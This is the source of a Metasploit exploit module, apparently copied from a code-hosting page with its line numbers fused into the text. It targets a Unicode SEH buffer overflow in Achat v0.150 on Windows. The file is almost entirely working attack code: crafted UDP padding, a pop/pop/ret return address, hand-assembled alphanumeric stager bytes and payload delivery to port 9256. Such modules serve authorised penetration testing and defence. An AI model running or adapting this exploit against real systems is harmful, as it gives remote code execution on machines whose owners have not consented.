Path: blob/master/modules/exploits/windows/misc/achat_bof.rb
23686 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Achat Unicode SEH Buffer Overflow',16'Description' => %q{17This module exploits a Unicode SEH buffer overflow in Achat. By18sending a crafted message to the default port 9256/UDP, it's possible to overwrite the19SEH handler. Even when the exploit is reliable, it depends on timing since there are20two threads overflowing the stack in the same time. This module has been tested on21Achat v0.150 running on Windows XP SP3 and Windows 7.22},23'Author' => [24'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery25'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module26],27'License' => MSF_LICENSE,28'References' => [29['CVE', '2025-34127'],30['CWE', '121'],31],32'DefaultOptions' => {33'EXITFUNC' => 'process'34},35'Payload' => {36'DisableNops' => true,37'Space' => 1200,38'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),39'StackAdjustment' => -3500,40'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,41'EncoderOptions' =>42{43'BufferRegister' => 'EAX'44}45},46'Platform' => 'win',47'Targets' => [48# Tested OK Windows XP SP3, Windows 749# Not working on Windows Server 200350[ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] # ppr from AChat.exe51],52'Privileged' => false,53'DefaultTarget' => 0,54'DisclosureDate' => '2014-12-18',55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options(64[65Opt::RPORT(9256)66]67)68end6970def exploit71connect_udp7273# 0055 00 ADD BYTE PTR SS:[EBP],DL # padding74# 2A00 SUB AL,BYTE PTR DS:[EAX] # padding75# 55 PUSH EBP # ebp holds a close pointer to the payload76# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding77# 58 POP EAX # mov eax, ebp78# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding79# 05 00140011 ADD EAX,11001400 # adjusting eax80# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding81# 2D 00130011 SUB EAX,11001300 # lea eax, eax+10082# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding83# 50 PUSH EAX # eax points to the start of the shellcode84# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding85# 58 POP EAX # padding86# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding87# 59 POP ECX # padding88# 0039 ADD BYTE PTR DS:[ECX],BH # padding89first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"9091sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00"92sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46)93sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset94sploit << "\x61\x40" # POPAD + INC EAX9596sploit << target.ret # AChat.exe p/p/r address9798# adjusting the first thread's unicode payload, tricky asm-fu99# the first seh exception jumps here, first_stage variable will be executed100# by the second seh exception as well. It needs to be in sync with the second101# thread, so that is why we adjust eax/ebp to have a close pointer to the102# payload, then first_stage variable will take the rest of the job.103# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding104# 55 PUSH EBP # ebp with close pointer to payload105# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding106# 58 POP EAX # put ebp to eax107# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding108# 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place109# 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more110# 05 00140011 ADD EAX,11001400 # more adjusting111# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding112# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100113# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding114# 50 PUSH EAX # saving eax115# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding116# 5D POP EBP # mov ebp, eax117sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43"118sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread119sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 - 3) # put address of the payload to EAX120sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload121sploit << "\x00" + 'A' * 10 + "\x00"122123i = 0124while i < sploit.length do125if i > 172000126Rex::sleep(1.0)127end128sent = udp_sock.put(sploit[i..i + 8192 - 1])129i += sent130end131disconnect_udp132end133end134135136